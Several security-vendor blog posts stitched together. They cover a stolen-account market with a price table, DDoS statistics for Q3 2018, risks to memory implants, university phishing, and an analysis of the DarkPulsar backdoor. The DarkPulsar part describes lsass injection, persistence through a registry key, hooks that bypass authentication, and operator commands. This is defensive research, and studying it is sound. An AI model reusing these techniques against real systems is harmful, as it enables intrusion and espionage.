When you click on the link you go through several websites redirecting you in a chain. This chain does a lot of things, such as place cookies in your browser, enumerate your settings such as location, browser version and type and probably a lot more. This is done so that when you end up at the landing page they know which page to serve you. In my case, I came from a Swedish IP and the website I was offered was obviously in Swedish, which indicates that they are targeting victims globally.

These websites always have statements and quotes from other users. Most of the information used, including profile photos, name and age, is also taken from stolen accounts. The quote itself is obviously fake, but this approach looks very professional.

This particular website was asking for your email to sign up to a website which basically offered you a job. The actual campaign is called the ‘Profit Formula Scam’ and is a binary option auto-trading scam. It’s been covered in the media before, so I won’t go into any detail here.


People are generally very naive when it comes to their online identity, especially when it comes to services that don’t appear to affect their privacy in any way. I often hear people say that they don’t care if someone gets access to their account, for example, because they assume that the worst thing that can happen is that their account will be shared with someone they don’t know. But we need to understand that even if it all looks very innocent, we don’t know what the criminals do with the money they earn.

What if they are spending it on drugs or guns, which are then sold to teenagers? What if they finance platforms and servers to spread child porn? We need to understand that criminals often work together with other criminals, which means that maybe drugs are bought from the money they make from selling stolen Netflix accounts on the black market.

One of the most alarming things I noticed was how cheap everything was. Just think about the information someone could gather about you if they got access to your Facebook account – there is surely no way you would be okay with someone selling access to parts of your private life for one dollar.

But people use more than just Facebook. I would assume that most people aged between 15 and 35 have registered for over 20 different services and maybe use about 10 of them frequently. The services that you hardly ever use are a problem because you often forget that you even have an account there.

The most frequently used accounts probably include the likes of Facebook, Instagram, Skype, Snapchat, Tinder (or other dating services) email, and entertainment services such as Spotify, Netflix, HBO and YouTube. Besides this, you may have an account on a governmental or financial website such as your bank, insurance company, etc. We also need to remember that some of these services use Google or Facebook as authentication, which means you don’t use an email and password combination – you simply login with your Facebook or Google account.

SERVICE DESCRIPTION PRICE Gaming Any type of gaming account, Steam, PSN, Xbox etc. $1 per account Email Email and Password combination from various leaks. Most likely sold in bulk Various Facebook Direct access to Facebook account $1 per account Spotify Spotify premium account $2 per account Netflix Netflix account $1-5 per account Desktop Username and password for RDP services, including VNC $5-50 per account Server Username and password for telnet/ssh $5-50 per account Ecommerce Access to various ecommerce sites, including Airbnb and similar services $10 per account

When looking at the data it’s quite mind-blowing that you can basically sell someone’s complete digital life for less than $50 dollars. We’re not talking about getting access to bank accounts, but you do get access to services where a credit card might be included such as Spotify, Netflix, Facebook and others.

Besides just taking full control of someone’s digital life, access to these services is used by other criminals, for example, to spread malware or conduct phishing attacks.

The level of availability of these hacked or stolen accounts is very impressive; basically anyone with a computer can get access – you don’t have to be an advanced cybercriminal to know where to find them.

DDoS Attacks in Q3 2018

Wed, 10/31/2018 - 05:00

News Overview

The third quarter 2018 turned out relatively quiet in terms of DDoS attacks. “Relatively” because there were not very many high-level multi-day DDoS onslaughts on major resources. However, the capacities employed by cybercriminals keep growing year after year, while the total number of attacks shows no signs of decline.

The early July attack on Blizzard Entertainment has made some of this summer’s top headlines. servers were sent offline, preventing players from logging in and launching their games for almost three days. The responsibility was claimed by a group called PoodleCorp, which made an appearance on Twitter promising to leave the company alone if their message were retweeted 2,000 times or more. Soon after their condition was satisfied, Blizzard reported “having fixed the technical issues earlier experienced by players.”

Towards the end of July there followed a series of attacks on another game publisher – Ubisoft. As a result, players were having trouble logging on to their accounts and using the multiplayer mode. According to the company spokesmen, user data was not compromised. There were no reports as to the purpose of the action. The attackers might have had financial gains in mind or just protested against some of the recent updates made to the games.

One more attack deserving the epithet of ‘major’ was, for several days, plaguing the three largest poker websites in the English-speaking segment: America’s Card… Room, PokerStars and Partypoker. The victimized operators were forced to cancel some of their events, sparking resentment on the part of players, who thus lost major sums of money.

As always, there were also DDoS attacks almost certainly resulting from political tension. The six-minute long disruption of the Swedish Social Democratic Party’s website at the end of August has been a stark example of such an attack. Likewise, politics is believed to have driven a similar attack on the website of a Democratic congressional candidate in California, which followed a month later. The tag of ‘political’ is also likely deserved by the activism-inspired (or rather environmental) motives which had fuelled the attack on the German RWE: by hitting their website the activists were trying to draw public attention to the impending clearing of the Hambach forest.

One way or another, the general public is still at a loss as to what had caused the affliction of the Ministry of Labor of the Republic of South Africa (the attack on its web resource took place in early September and, according to the Ministry spokesman, no internal systems or data were compromised). There is equal uncertainty as to the motives behind the attacks on the governmental service DigiD in Netherlands: at the end of July it was attacked thrice within one week, leaving many citizens unable to access its taxation-related and other features. Again, no data leaks were reported.

There are not many updates to the DDoS attackers’ toolset; although some curious new techniques and a couple of fresh vulnerabilities did get within sight of the experts. Thus, on July 20, they detected a mass “recruiting campaign” targeting D-Link routers, which used over 3,000 IPs and just one command server. The exploit was not very successful in corporate environments; yet it is still to be seen whether it was able to create a new botnet of user routers (and how big at that).

Speaking of “ready” or almost ready Trojans, reports began to circulate at the end of July about the newly devised Trojan Death, which builds its botnet by recruiting surveillance cameras. The handiwork of the notorious hacker Elit1Lands, this malware uses the AVTech vulnerability, made public back in October 2016. Security researcher Ankit Anubhav has managed to contact the cybercriminal and learn that so far the botnet has not been used for mass DDoS attacks; yet the author has great expectations about it, especially as Death turned out equally suitable for spam mailouts and spying.

In addition, in late August and early September, the security specialists first saw the new versions of Mirai and Gafgyt botnets exploiting the vulnerabilities in SonicWall and Apache Struts (in the last case, the same bug associated with the massive data breach at the credit reference bureau Equifax).

Meanwhile, the three authors of the original version of Mirai, who had made it publically available, finally got their court sentence. An Alaskan federal court ordered Paras Jha, Josiah White and Dalton Norman to pay considerable restitutions and serve 2,500 hours of community service. In all appearance, they will work on behalf of FBI, and the actual mildness of the sentence was due to the fact that during the process the three subjects had duly collaborated with the federal investigators: according to court documents, the three men have already accumulated more than 1,000 hours of community service by lending their expertise to at least a dozen investigations.

In addition, the British police arrested one of the intruders behind the DDoS attack on ProtonMail, mentioned in our last report. The 19-year-old rookie hacker turned out a British citizen, also involved in making hoax bomb threats to schools, colleges and airlines. His parents insist that he was “groomed” by “serious people” online through playing the game Minecraft. This story will hardly end with the young prodigy’s employment, although he does face possible extradition to the US: according to the investigation, his exposure was mainly due to the fact that he did not practice very good operational security.

Quarter Trends

Compared to Q3 of last year, the number of DDoS attacks slightly increased due to September, while in the summer and throughout the year, there was a noticeable drop in the number of DDoS attacks.

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Quarterly number of DDoS- attacks defeated by Kaspersky DDoS Protection in 2017–2018 (100% is the number of attacks in 2017) (download)

The graph above shows that the slight increase from last year is owed to September, which accounts for the lion’s share of all attacks (about 5 times more compared to 2017). July and August, quite the opposite, turned out quieter versus last year. In 2017, no such disproportion was observed.

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DDoS attacks defeated by Kaspersky DDoS Protection in September in proportion to Q3 total in 2017 and 2018 (download)

DDoS upsurge exactly in September is a fairly common thing: the primary target, year after year, is the education system, attacks being directed at the web resources of schools, universities and testing centers. The attack on one of England’s leading schools – Edinburgh University, which began on September 12 and lasted for nearly 24 hours, made the biggest headlines this year.

The onsets of this sort are often blamed on enemies of state, but these allegations are unfounded, according to statistics. Thus, in the course of our private investigations we discovered that attacks mostly occur during term time and subside during vacations. The British non-profit organization Jisc got almost the same result: by collecting statistics about attacks on universities it learned that there were fewer attacks when students were on vacation. The same is true for daily out-of-class hours: the main DDoS disturbances are experienced by schools during the period from 9:00 AM to 4:00 PM.

This, of course, may suggest that the perpetrators simply synchronize their actions with the daily pulse of the universities… But the simpler the explanation, the more likely it is: in all probability these attacks, too, are devised by the young ones, who may have quite a few “good” reasons to annoy their teachers, other students, or schools in general. Consistent with this assumption, our experts were able to find traces of DDoS attack preparations in the social networks; while our colleagues from Great Britain have come across a rather amusing case of their own: an attack targeting dorm servers was launched by a student in an attempt to defeat his online game adversary.

In all appearance, these cyclical outbursts will recur in the future – either until all educational institutions have secured themselves with impenetrable defenses, or until all students and their teachers have developed a whole new awareness of DDoS attacks and their consequences. It should be mentioned, however, that while most attacks are being organized by students, it does not mean that there aren’t any “serious” ones.

For example, launched in September, the DDoS campaign against the American vendor Infinite Campus, which provides the parent portal service for many school in its district, was so powerful and protracted as to come into notice of the US Homeland Security. It can hardly be explained by schoolchildren’s efforts alone.

Anyway, while the reasons behind the September upturn are most likely connected with the coming of the new school year, it is a bit tougher to explain the downturn. Our experts believe that most botnet owners have reconfigured their capacities towards a more profitable and relatively safer source of revenue: cryptocurrency mining.

DDoS attacks have gone a lot cheaper of late, but only for the customers. As to the organizers, their costs still run high. At the very least, one has to purchase the processing power (sometimes even to equip a data center), write a Trojan of one’s own or modify an existing one (such as the ever popular Mirai), use the Trojan to assemble a botnet, find a customer, launch the attack, etc. Not to mention that these things are illegal. And the law enforcement is up to every move: the downing of followed by a chain of arrests is a case in point.

On the other hand, cryptocurrency mining is almost legal these days: the only illegal aspect is the use of someone else’s hardware. Mining, with certain arrangements in place, being too light on the donor system to become apparent to its owner, there is not much of a chance of having to deal with cyberpolice. A cybercriminal can also repurpose the hardware they already own for mining thus escaping the attention of law enforcement altogether. For example, there were recent reports of a new botnet of MikroTik routers, originally created as a cryptocurrency mining tool. There is also indirect evidence that owners of many botnets with deservedly unsavory reputation have now reconfigured them to mining. Thus, the DDoS activities of the successful botnet yoyo have dropped very low, although there was no information about it having been dismantled.

There is a formula in logic which reads: correlation does not imply causation. In other words, if two variables change in a similar way, such changes do not necessarily have anything in common. Therefore, while it appears logical to link the growth in cryptocurrency mining with the slack in DDoS attacks in this year, this cannot claim to be the ultimate truth. Rather a working assumption.

Statistics Methodology

Kaspersky Lab has a long history of combatting cyberthreats, including DDoS attacks of various types and complexities. The company’s experts monitor botnets using Kaspersky DDoS Intelligence system.

A part of Kaspersky DDoS Protection, the DDoS Intelligence system intercepts and analyzes the commands the bots receive from their management and control servers. To initiate protection it is not necessary to wait until a user device gets infected or until the attackers’ commands get executed.

This report contains DDoS Intelligence statistics for Q3 2018.

For the purpose of this report, a separate (one) DDoS attack is that during which the intervals between the botnet’s busy periods do not exceed 24 hours. For example, if the same resource was attacked by the same botnet a second time after a pause of 24 hours or more, two attacks are recorded. Attacks are also considered to be separate if the same resource is queried by bots belonging to different botnets.

The geographic locations of victims of DDoS attacks and command servers are registered based on their IPs. The report counts the number of unique DDoS targets by the number of unique IP addresses in the quarterly statistics.

DDoS Intelligence statistics is limited to botnets detected and analyzed by Kaspersky Lab to date. It should also be remembered that botnets are but one of the tools used for DDoS attacks, and this section does not cover every single DDoS attack over the given period.

Quarter summary
  • As before, China tops the list for the highest number of attacks (78%), the US has reclaimed its second position (12.57%), Australia comes in third (2.27%) – higher than ever before. For the first time, South Korea has left the top 10 list, even though the entry threshold got much lower.
  • Similar trends are observed in distribution of unique targets: South Korea has dropped to the very bottom of the rating list; Australia has climbed to the third position.
  • In terms of number, DDoS attacks effected using botnets had their main peaks in August; the quietest day was observed in early July.
  • The number of sustained attacks has declined; however, short ones with duration of under 4 hours grew 17.5 p.p. (to 86.94%). The number of unique targets has increased by 63%.
  • The share of Linux botnets has grown only slightly from the last quarter. In this context, the by-type distribution of DDoS attacks has not changed much: SYN flood still comes first (83.2%).
  • The list of countries hosting the greatest number of command servers has changed a great deal over the last quarter. Countries like Greece and Canada, previously way out of the top 10, are now high up in the list.
Attacks geography

The top line is still occupied by China, its share having soared from 59.03% to 77.67%. The US reclaimed its second position, even though it has grown the negligible 0.11 p.p. to 12.57%. This is where the surprises begin.

First off, South Korea has tumbled out of the top 10 for the first time since monitoring began: its share shrank from 3.21% last quarter to 0.30% for a downhill ride from fourth to eleventh position. Meanwhile Australia has climbed from sixth to third place: now it accounts for 2.27% of the total number of outgoing DDoS attacks. This suggests that the growth trend for the continent, which has emerged over the past few quarters, is still there. Hong Kong descended from second to fourth position: its share plummeted from 17.13% to 1.72%.

Other than South Korea, Malaysia, too, has left the top ten; these two were replaced by Singapore (0.44%) and Russia (0.37%) – seventh and tenth places respectively. Their shares have grown but little from Q2, yet because of China’s leap the admittance threshold became somewhat less demanding. The example of France demonstrates this very well: in Q2 France was tenth with 0.43% of the total number of DDoS attacks; this quarter its share reduced to 0.39% but the country still has made it to the eighth place.

Likewise, the combined percentage of all the countries from outside the top 10 has dropped from 3.56% to 2.83%.

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DDoS attacks by country, Q2 and Q3 2018 (download)

Similar processes are taking place in the unique targets rating of countries: China’s share grew 18 p.p. to 70.58%. The first five positions for the number of targets look basically the same as those for the number of attacks, but the top 10 list is a bit different: South Korea is still there, although its share shrank a great deal (down to 0.39% from 4.76%). In addition, the rating list lost Malaysia and Vietnam, replaced by Russia (0.46%, eighth place) and Germany (0.38%, tenth place).

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Unique DDoS targets by country, Q2 and Q3 2018 (download)

Dynamics of the number of DDoS attacks

The beginning and end of Q3 were not abundant in attacks, yet August and early September feature a jagged graph with plenty of peaks and valleys. The biggest spikes occurred on August 7 and 20, which indirectly correlates with the dates when universities collect the applicants’ papers and announce admission score. July 2 turned out the quietest. The end of the quarter, although not very busy, was still marked with more attacks than its beginning.

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Dynamics of the number of DDoS attacks in Q3 2018 (download)

The day of week distribution was fairly even this quarter. Saturday now is the most “dangerous” day of the week (15.58%), having snatched the palm from Tuesday (13.70%). Tuesday ended up second to last in terms of the number of attacks, just ahead of Wednesday, currently the quietest day of the week (12.23%).

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DDoS attacks by day of week, Q2 and Q3 2018 (download)

Duration and types of DDoS attacks

The longest attack in Q3 lasted 239 hours – just short of 10 days. Just to remind you, the previous quarter’s longest one was on for almost 11 days (258 hours).

The share of mass, protracted attacks considerably declined. This is true not only for the “champions”, which lasted upward of 140 hours, but also for all the other categories down to 5 hours. The most dramatic decline occurred in the 5 to 9 hours duration category: these attacks were down to 5.49% from 14.01%.

Yet short attacks of under 4 hours grew almost 17.5 p.p. to 86.94%. At the same time, the number of targets grew 63% from the last quarter.

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DDoS attacks by duration, hours, Q2 and Q3 2018 (download)

The distribution by type of attack was almost the same as the previous quarter. SYN flood has kept its first position; its share grew even more to 83.2% (from 80.2% in the second quarter and 57.3% in Q1). UDP traffic came in second; it also edged upward to settle at 11.9% (last quarter the figure was 10.6%). Other types of attacks lost a few percentage points but suffered no change in terms of relative incidence: HTTP is still third, while TCP and ICMP – fourth and fifth respectively.

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DDoS attacks by type, Q2 and Q3 2018 (download)

Windows and Linux botnets have split in about the same proportion as the last quarter: Windows botnets have gone up (and Linux ones down) by 1.4 p.p. This correlates pretty well with the attack type variation dynamics.

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Windows vs. Linux botnets, Q3 2018 (download)

Botnet distribution geography

There was some shakeup in the top ten list of regions with the largest number of botnet command servers. The US remained first, although its share declined from 44.75% last quarter to 37.31%. Russia climbed to the second place, having tripled its share from 2.76% to 8.96%. Greece came in third: it accounts for 8.21% of command servers – up from 0.55% and from its position way outside the top ten the previous quarter.

China, with 5.22%, is only fifth, outplayed by Canada which scored 6.72% (several times more than its own figure in Q2).

At the same time, there was a major increase in the combined share of the countries outside the top ten: up almost 5 p.p., it now stands at 16.42%.

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Botnets command servers by country, Q3 2018 (download)


No major high-profile attacks were reported over the last three months. In contrast with the summer slowdown, the September’s upsurge of attacks on schools was particularly noticeable. It has become a part of the cyclic trend Kaspersky Lab has observed for many years.

Another conspicuous development is the shrinking number of protracted attacks paired with growing number of unique targets: botnet owners may be replacing large-scale offensives with small attacks (sometimes referred to in English-speaking media as “crawling” ones), often indistinguishable from the “network noise”. We have seen preludes to such change of paradigm over the previous quarters.

The top ten lineup in terms of the number of C&C botnets is being abruptly reshuffled for the second quarter in a row. It may be that the attackers try to expand into new territories or attempt to arrange for geographic redundancy of their resources. The reasons for that may be both economical (electricity prices, business robustness when exposed to unforeseen circumstances) and legal – anti-cybercrime action.

The statistics for the last two quarters has led us to believe that certain transformation processes are currently unfolding in the DDoS community, which may seriously reconfigure this field of cybercriminal activities in the near future.

Hackers attacking your memories: science fiction or future threat?

Mon, 10/29/2018 - 06:00

Authors: Kaspersky Lab and the Oxford University Functional Neurosurgery Group

There is an episode in the dystopian near-future series Black Mirror about an implanted chip that allows users to record and replay everything they see and hear. A recent YouGov survey found that 29% of viewers would be willing to use the technology if it existed.

If the Black Mirror scenario sounds a bit too much like science fiction, it’s worth noting that we are already well on the way to understanding how memories are created in the brain and how this process can be restored. Earlier this year proof of concept experiments showed that we can boost people’s ability to create short-term memories.

The seeds of the future are already here

The hardware and software to underpin this exists too: deep brain stimulation (DBS) is a neurosurgical procedure that involves implanting a medical device called a neurostimulator or implantable pulse generator (IPG) in the human body to send electrical impulses, through implanted electrodes, to specific targets in the brain for the treatment of movement and neuropsychiatric disorders. It is not a huge leap for these devices to become ‘memory prostheses’ since memories are also created by neurological activity in the brain.

To better understand the potential future threat landscape facing memory implants, researchers from Kaspersky Lab and the University of Oxford Functional Neurosurgery Group have undertaken a practical and theoretical threat review of existing neurostimulators and their supporting infrastructure.

The attached report is the outcome of that research. It should be noted that because much of the work involving neurostimulators is currently handled in medical research laboratories, it’s not easy to practically test the technology and associated software for vulnerabilities. However, much can be learned from handling the devices and seeing them used in situ, and this research involved both.

Among other things, the researchers found existing and potential risk scenarios, each of which could be exploited by attackers. These include:

  • Exposed connected infrastructure – the researchers found one serious vulnerability and several worrying misconfigurations in an online management platform popular with surgical teams.
  • Insecure or unencrypted data transfer between the implant, the programming software, and any associated networks could enable malicious tampering of a patient’s implant or even whole groups of implants (and patients) connected to the same infrastructure. Manipulation could result in changed settings causing pain, paralysis or the theft of private and confidential data.
  • Design constraints as patient safety takes precedence over security. For example a medical implant needs to be controlled by physicians in emergency situations, including when a patient is rushed to a hospital far from their home. This precludes use of any password that isn’t widely known among clinicians. It also means that by default such implants need to be fitted with a software ‘backdoor’.
  • Insecure behavior by medical staff – programmers with patient-critical software were being accessed with default passwords, were used to browse the internet or had additional apps downloaded onto them.
Future risk predictions

Within five years, scientists expect to be able to electronically record the brain signals that build memories and then enhance or even rewrite them before putting them back into the brain. A decade from now, the first commercial memory boosting implants could appear on the market – and, within 20 years or so, the technology could be advanced enough to allow for extensive control over memories.

The healthcare benefits of all this will be significant, and this goal is helping to fund and drive research and development. However, as with other advanced bio-connected technologies, once the technology exists it will also be vulnerable to commercialization, exploitation and abuse.

New threats resulting from this could include the mass manipulation of groups through implanted or erased memories of political events or conflicts; while ‘repurposed’ cyberthreats could target new opportunities for cyber-espionage or the theft, deletion of or ‘locking’ of memories (for example, in return for a ransom).


Current vulnerabilities matter because the technology that exists today is the foundation for what will exist in the future. Although no attacks targeting neurostimulators have been observed in the wild – a fact that is not altogether surprising since the numbers currently in use worldwide are low, and many are implemented in controlled research settings, several points of weakness exist that will not be hard to exploit.

Many of the potential vulnerabilities could be reduced or even eliminated by appropriate security education for clinical care teams and patients. But healthcare professionals, the security industry, the developers and manufacturers of devices and associated professional bodies all have a role to play in ensuring emerging devices are secure. We believe that collaborating to understand and address emerging risks and vulnerabilities, and doing so now while this technology is still relatively new, will pay off in the future.

 “The Memory Market: Preparing for a future where cyberthreats target your past” full report (PDF)

Phishing for knowledge

Wed, 10/24/2018 - 06:00

When we talk about phishing, top of mind are fake banking sites, payment systems, as well as mail and other globally popular services. However, cybercriminals have their fingers in far more pies than that. Unobviously, perhaps, students and university faculties are also in the line of fire. The reason is the research they carry out and the potentially valuable results.

Examples of phishing pages mimicking the login pages of the University of Washington, Harvard Business School, and Stanford University websites

Over the past year, we’ve registered phishing attacks against 131 universities in 16 countries. More than half (83 universities) are located in the US, followed by Britain (21), and Australia and Canada (7 each). Several well-known universities in Finland, Colombia, Hong Kong, India, Israel, the Netherlands, New Zealand, Poland, South Africa, Sweden, Switzerland, and the UAE have also experienced at least one phishing attack in the past year. The most popular universities for fraudsters so far this year are: University of Washington (11.6% of attacks), Cornell University (6.8%), University of Iowa (5.1%).

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Although universities are aware of the need to protect their resources, fraudsters exploit the traditional weakest link: user inattentiveness. Depending on the level of access (lecturer, student, research associate), personal accounts on the university site can provide access to both general information as well as paid services and research results. Moreover, a lecturer’s account, for example, can provide attackers with information about salary, schedule, etc. All this can be used for identity theft or a targeted attack.

Cornell NetID is a unique electronic identifier used in combination with a password to provide access to non-public resources and university information

Phishing pages typically differ from the original only by the web address. However, despite the browser warning and, as in the case of the Cornell University fake page, the prompt to check the address bar (copied by the attackers from the original site), users often fail to spot the difference.

Besides login credentials, phishing pages can collect other information for bypassing anti-fraud systems

While analyzing the scripts of one of the phishing pages, we noticed that alongside user names and passwords, fraudsters collect information about IP addresses and the victim’s location. Cybercriminals can use this data to circumvent anti-fraud systems by masquerading as account holders.

How to stay protected

An old, but still important tip is to check the address bar of the site on which confidential data is about to be entered. But since this method relies solely on the human factor, the main recommendation for educational institutions is to use two-factor authentication, and for users — a software solution with anti-phishing capability.

DarkPulsar FAQ

Fri, 10/19/2018 - 06:00

What’s it all about?

In March 2017, a group of hackers calling themselves “the Shadow Brokers” published a chunk of stolen data that included two frameworks: DanderSpritz and FuzzBunch. The Fuzzbunch framework contains various types of plugins designed to analyze victims, exploit vulnerabilities, schedule tasks, etc. The DanderSpritz framework is designed to examine already controlled machines and gather intelligence. In pair, it is a very powerful platform for cyber-espionage.

How was this implant discovered?

We always analyze all leaks containing malicious software to provide the best detection. The same happened after the “Lost in Translation” leak was revealed. We noticed that this leak contained a tool in the “implants” category called DarkPulsar. We analyzed this tool and understood that it is not a backdoor itself, but the administrative part only. We also noticed some magic constants in this administrative module, and having created some special signatures based on them, were able to catch the implant itself.

What exactly can this implant be used for?

This implant supports 7 commands:

The most interesting are DisableSecurity and EnableSecurity.

  • Burn – for self-deletion.
  • RawShellcode – to execute arbitrary base-independent code.
  • EDFStageUpload – Exploit Development Framework Stage Upload. Step by step it deploys DanderSpritz payloads to the victim’s memory without touching the drive. After this command is executed, the administrator can send to the victim any of the multiple DanderSpritz commands. (View details in the technical part of this report)
  • DisableSecurity – for disabling NTLM protocol security. With help of this command, the malware administrator does not need to know a valid victim username and password to successfully pass authentication – the system will interpret any arbitrary pair as valid. (View details in the technical part of this report)
  • EnableSecurite – the opposite of DisableSecurity.
  • UpgradeImplant – for installing a new version of the backdoor.
  • PingPong – for test communication.
How many victims?

We found around 50 victims, but believe that the figure was much higher when the Fuzzbunch and DanderSpritz frameworks were actively used. We think so because of the DanderSpritz interface, which allows many victims to be managed at the same time. The second point proving this suggestion is that after stopping their cyber-espionage campaign, the malware owners often delete their malware from victim computers, so the 50 victims are very probably just ones that the attackers have simply forgotten.

Which countries?

All victims were located in Russia, Iran, and Egypt, and typically Windows 2003/2008 Server was infected. Targets were related to nuclear energy, telecommunications, IT, aerospace, and R&D

What about the attack duration? Does it last long?

DarkPulsar’s creators did not skimp on resources in developing such an advanced mechanism of persistence. They also included functionality to disable NTLM protocol security for bypassing the need to enter a valid username and password during authentication. This indicates that victims infected with DarkPulsar were the targets of a long-term espionage attack.

Is the attack still active?

We think that after the “Lost In Translation” leakage the espionage campaign was stopped, but that doesn’t mean that all computers are rid of this backdoor infection. We cured all our users. As for users without our protection, we have several tips on how to check whether your system is infected and how to cure it by yourself. Note that to exploit this backdoor on infected victims, the attackers need to know the private RSA key which pairs to the public key embedded in the backdoor. It means that no one except real DarkPulsar’s managers can exploit compromised systems.

How to protect against this threat?

We can detect this threat with different technologies.

However, the standard recommendations remain the same:

  • Keep your security products up to date
  • Do not turn security product components off
  • Keep your OS updated
  • Install all security patches asap
  • Use special traffic analysis tools and pay attention to all encrypted traffic
  • Do not use weak passwords or the same password for several endpoints
  • Use complex passwords
  • Do not allow remote connections to endpoints with administration rights
  • Do not allow domain administrators to be local administrators with the same credentials

Additional mitigation strategies can be found here:

Which proactive technologies do you have to protect users against such threats?

We use machine learning, cloud technologies, emulation, and behavioral analysis in combination with anti-exploit protection to provide the best proactive protection for our clients.

Who is behind this threat?

We never engage in attribution. Our purpose is to counteract all threats, regardless of their source or destination.

How was this implant used? Was it created for stealing money or just information?

We have not seen any techniques for stealing money in this implant, but it is worth keeping in mind that this implant can run any executable code, so its functionality can be increased significantly.


Fri, 10/19/2018 - 06:00

In March 2017, the ShadowBrokers published a chunk of stolen data that included two frameworks: DanderSpritz and FuzzBunch.

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims.

DanderSprit interface

Fuzzbunch on the other hand provides a framework for different utilities to interact and work together. It contains various types of plugins designed to analyze victims, exploit vulnerabilities, schedule tasks, etc. There are three files in the plugin set from the FuzzBunch framework:

  • %pluginName%-version.fb

This is the utility file of the framework. It duplicates the header from XML and includes the plugin’s ID.

  • %pluginName%-version.exe

This executable file is launched when FuZZbuNch receives the command to do so.

  • %pluginName%-version.xml

This configuration file describes the plugin’s input and output parameters – the parameter name, its type and description of what it’s responsible for; all of these can be shown in FuzzBunch as a prompt. This file also contributes a lot to the framework’s usability, as it supports the specification of default parameters.

One of the most interesting Fuzzbunch’s categories is called ImplantConfig and includes plugins designed to control the infected machines via an implant at the post-exploitation stage. DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ‘sipauth32.tsp’ that provides remote control, belonging to this category.

It supports the following commands:

  • Burn
  • RawShellcode
  • EDFStagedUpload
  • DisableSecurity
  • EnableSecurity
  • UpgradeImplant
  • PingPong

Burn, RawShellcode, UpgradeImplant, and PingPong remove the implant, run arbitrary code, upgrade the implant and check if the backdoor is installed on a remote machine, respectively. The purpose of the other commands is not that obvious and, to make it worse, the leaked framework contained only the administrative module to work with DarkPulsar’s backdoor, but not the backdoor itself.

While analyzing the administrative module, we noticed several constants that are used to encrypt the traffic between the C&C and the implant:

We thought that probably these constants should also appear in the backdoor, so we created a detection for them. Several months later we found our mysterious DarkPulsar backdoor. We later were able to find both 32- and 64-bit versions.

We found around 50 victims located in Russia, Iran and Egypt, typically infecting Windows 2003/2008 Server. Targets were related to nuclear energy, telecommunications, IT, aerospace and R&D.

DarkPulsar technical highlights

The DarkPulsar implant is a dynamic library whose payload is implemented in exported functions. These functions can be grouped as follows:

  1. Two nameless functions used to install the backdoor in the system.
  2. Functions with names related to TSPI (Telephony Service Provider Interface) operations that ensure the backdoor is in the autorun list and launched automatically.
  3. A function with a name related to SSPI (Security Support Provider Interface) operations. It implements the main malicious payload.

The implementations of the SSPI and TSPI interfaces are minimalistic: the functions that are exported by DarkPulsar have the same names as the interface functions; however, they include malicious code instead of the phone service.

The implant is installed in the system by the nameless exported function. The backdoor is launched by calling Secur32.AddSecurityPackage with administrator privileges with the path to its own library in the parameter, causing lsass.exe to load DarkPulsar as SSP/AP and to call its exported function SpLsaModeInitialize used by DarkPulsar to initialize the backdoor. In this way AddSecurityPackage is used to inject code into lsass.exe. It also adds its library name at HKLM\Software\Microsoft\Windows\CurrentVersion\Telephony\Providers

This is loaded at start by the Telephony API (TapiSrv) launched alongside the Remote Access Connection Manager (RasMan) service, setting startup type as “Automatic”. When loading the telephony service provider’s library, TapiSrv calls TSPI_lineNegotiateTSPIVersion which contains the AddSecurityPackage call to make the inject into lsass.exe.

DarkPulsar implements its payload by installing hooks for the SpAcceptLsaModeContext – function responsible for authentication. Such injects are made in several system authentication packets within the process lsass.exe and allow Darkpulsar to control authentication process based on the following protocols:

  • Msv1_0.dll – for the NTLM protocol,
  • Kerberos.dll – for the Kerberos protocol,
  • Schannel.dll – for the TLS/SSL protocols,
  • Wdigest.dll – for the Digest protocol, and
  • Lsasrv.dll –for the Negotiate protocol.

After this, Darkpulsar gets ability to embed malware traffic into system protocols. Since this network activity takes place according to standard system charts, it will only be reflected in the System process – it uses the system ports reserved for the above protocols without hindering their normal operation.

Network traffic during successful connection to DarkPulsar implant

The second advantage of controlling authentication processes is ability to bypass entering a valid username and password for obtaining access to objects that require authentication such as processes list, remote registry, file system through SMB. After Darkpulsar’s DisableSecurity command is sent, backdoor’s hooks on the victim side will always returns in the SpAcceptLsaModeContext function that passed credentials are valid. Getting that, system will provide access to protected objects to client.

Working with DarkPulsar

Darkpulsar-1.1.0.exe is the administrative interface working under the principle of “one command – one launch”. The command to be executed must be specified either in the configuration file Darkpulsar- or as command line arguments, detailing at least:

  • whether the target machine uses a 32-bit or 64-bit system;
  • protocol (SMB, NBT, SSL, RDP protocols are supported) to deliver the command and port number
  • private RSA key to decrypt the session AES key

Darkpulsar-1.1.0 was not designed as a standalone program for managing infected machines. This utility is a plugin of the Fuzzbunch framework that can manage parameters and coordinate different components. Here is how DisableSecurity command in Fuzzbunch looks like:

Below is an example of Processlist after DisableSecurity, allowing to execute any plugin without valid credentials and operating via regular system functions (remote registry service):


DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar.

For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

This is how DarkPulsar in EDFStagedUpload mode provides the opportunity to infect the victim with a more functional implant: PCDllLauncher (Fuzzbunch’s plugin) deploys the PeddleCheap implant on the victim side, and DanderSpritz provides a user-friendly post-exploitation interface. Hence, the full name of PCDllLauncher is ‘PeddleCheap DLL Launcher’.

The complete DanderSpritz usage scheme with the plugin PeddleCheap via FuZZbuNch with the plugins DarkPulsar and PCDllLauncher consists of four steps:

  1. Via FuZZbuNch, run command EDFStagedUpload to launch DarkPulsar.
  2. In DanderSpritz, run command pc_prep (PeedelCheap Preparation) to prepare the payload and the library to be launched on the implant side.
  3. In DanderSpritz, run command pc_old (which is the alias of command pc_listen -reuse -nolisten -key Default) – this sets it to wait for a socket from Pcdlllauncher.
  4. Launch Pcdlllauncher via FuZZbuNch and specify the path to the payload that has been prepared with the command pc_prep in the ImplantFilename parameter.

  5. DanderSpritz

    File System plugin


    The FuzzBunch and DanderSpritz frameworks are designed to be flexible and to extend functionality and compatibility with other tools. Each of them consists of a set of plugins designed for different tasks: while FuzzBunch plugins are responsible for reconnaissance and attacking a victim, plugins in the DanderSpritz framework are developed for managing already infected victims.

